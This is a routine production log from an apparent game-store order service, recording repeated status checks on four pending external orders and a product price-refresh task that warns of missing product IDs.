[2026-03-24 03:50:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:50:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:50:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:50:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:50:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 03:50:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 03:50:05] production.INFO: async() رجع: true  
[2026-03-24 03:50:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:50:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:50:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:50:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:50:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:50:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:50:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:50:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:50:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:50:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:50:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:52:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01"} 
[2026-03-24 03:52:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","total_operations":4,"sites_count":1} 
[2026-03-24 03:52:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:52:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:52:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:52:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:52:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:52:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"SU3MBdYjBjMEIqcptjrzcSCz8P7jcTeo","execution_time":"2026-03-24 03:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:54:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01"} 
[2026-03-24 03:54:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","total_operations":4,"sites_count":1} 
[2026-03-24 03:54:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:54:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:54:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:54:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:54:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:54:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:54:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:54:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:54:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:54:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"JZWuQUjumfzD1HlOLjK12uHK0yZ2o4Sr","execution_time":"2026-03-24 03:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:55:01] production.INFO: Executing GetProducts task...  
[2026-03-24 03:55:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:55:01] production.INFO: Executing GetProducts task...  
[2026-03-24 03:55:03] production.INFO: async() رجع: true  
[2026-03-24 03:55:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:55:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:55:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:55:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:55:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:55:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:55:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:55:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:55:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:55:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:55:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:56:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01"} 
[2026-03-24 03:56:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01","total_operations":4,"sites_count":1} 
[2026-03-24 03:56:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:56:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:56:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:56:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:56:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:56:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"pX03EEzozzocp6ykDcjBKI3Zu4rvHMOb","execution_time":"2026-03-24 03:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:58:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02"} 
[2026-03-24 03:58:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:58:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:58:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:58:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:58:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:58:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:58:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:58:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:58:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:58:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:58:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qEd2ijZ8ebXMkan9NFY09qhWushEUEVk","execution_time":"2026-03-24 03:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:00:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02"} 
[2026-03-24 04:00:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","total_operations":4,"sites_count":1} 
[2026-03-24 04:00:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:00:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:00:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:00:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:00:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:00:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"plQZszT6Sp3Jzd13CzdfaRrOFZ1bDaLt","execution_time":"2026-03-24 04:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:00:02] production.INFO: Executing GetProducts task...  
[2026-03-24 04:00:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:00:02] production.INFO: Executing GetProducts task...  
[2026-03-24 04:00:04] production.INFO: async() رجع: true  
[2026-03-24 04:00:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:00:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:00:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:00:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:00:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:00:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:00:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:00:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:00:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:00:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:00:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:02:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02"} 
[2026-03-24 04:02:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02","total_operations":4,"sites_count":1} 
[2026-03-24 04:02:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:02:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:02:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"x979j2730WzuklsLPCeOONPtvvTypU6a","execution_time":"2026-03-24 04:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:04:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03"} 
[2026-03-24 04:04:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","total_operations":4,"sites_count":1} 
[2026-03-24 04:04:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:04:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:04:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
